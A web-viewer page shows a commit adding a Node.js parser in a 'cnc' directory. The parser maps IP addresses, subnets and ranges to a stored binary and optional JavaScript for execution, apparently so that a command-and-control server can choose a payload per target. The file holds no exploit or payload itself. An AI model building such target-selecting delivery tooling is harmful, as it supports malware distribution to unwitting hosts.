aboutsummaryrefslogtreecommitdiff
path: root/cnc/lib/bd_parser.js
diff options
context:
space:
mode:
Diffstat (limited to 'cnc/lib/bd_parser.js')
-rw-r--r--cnc/lib/bd_parser.js48
1 files changed, 48 insertions, 0 deletions
diff --git a/cnc/lib/bd_parser.js b/cnc/lib/bd_parser.js
new file mode 100644
index 0000000..01a557a
--- /dev/null
+++ b/cnc/lib/bd_parser.js
@@ -0,0 +1,48 @@
+// block descriptor parser
+
+const fs = require('fs');
+const net = require('net');
+
+
+const block_regex = /(\d+.\d+.\d+.\d+)\/(\d+)/;
+const range_regex = /(\d+.\d+.\d+.\d+)-(\d+.\d+.\d+.\d+)/;
+
+function parse_bd(bd_path) {
+ const bd = fs.readFileSync(bd_path, "utf8").split("\n");
+ let all_bds = [];
+
+ for (let s of bd) {
+ s = s.includes("#") ? s.slice(0, s.indexOf("#"))
+ : s;
+
+ if (s == "") continue;
+
+ let ip_desc = s.slice(0, s.indexOf(":"));
+ let ips = ip_desc.split(",");
+ let [bin, run_when] = s.slice(s.indexOf(":") + 1).split(",");
+
+ let blocklist = new net.BlockList();
+
+ for (let ip of ips) {
+ if (ip.includes("/")) {
+ let match = ip.match(block_regex);
+
+ blocklist.addSubnet(match[1], parseInt(match[2]));
+ } else if (ip.includes("-")) {
+ let match = ip.match(range_regex);
+
+ console.log(match[1], match[2]);
+
+ blocklist.addRange(match[1], match[2]);
+ } else {
+ blocklist.addAddress(ip);
+ }
+ }
+
+ all_bds.push({block: blocklist, wrapped: fs.readFileSync(bin), js_to_run: run_when != "none" ? fs.readFileSync(run_when, "utf8") : null})
+ }
+
+ return all_bds;
+}
+
+exports.parse_bd = parse_bd; \ No newline at end of file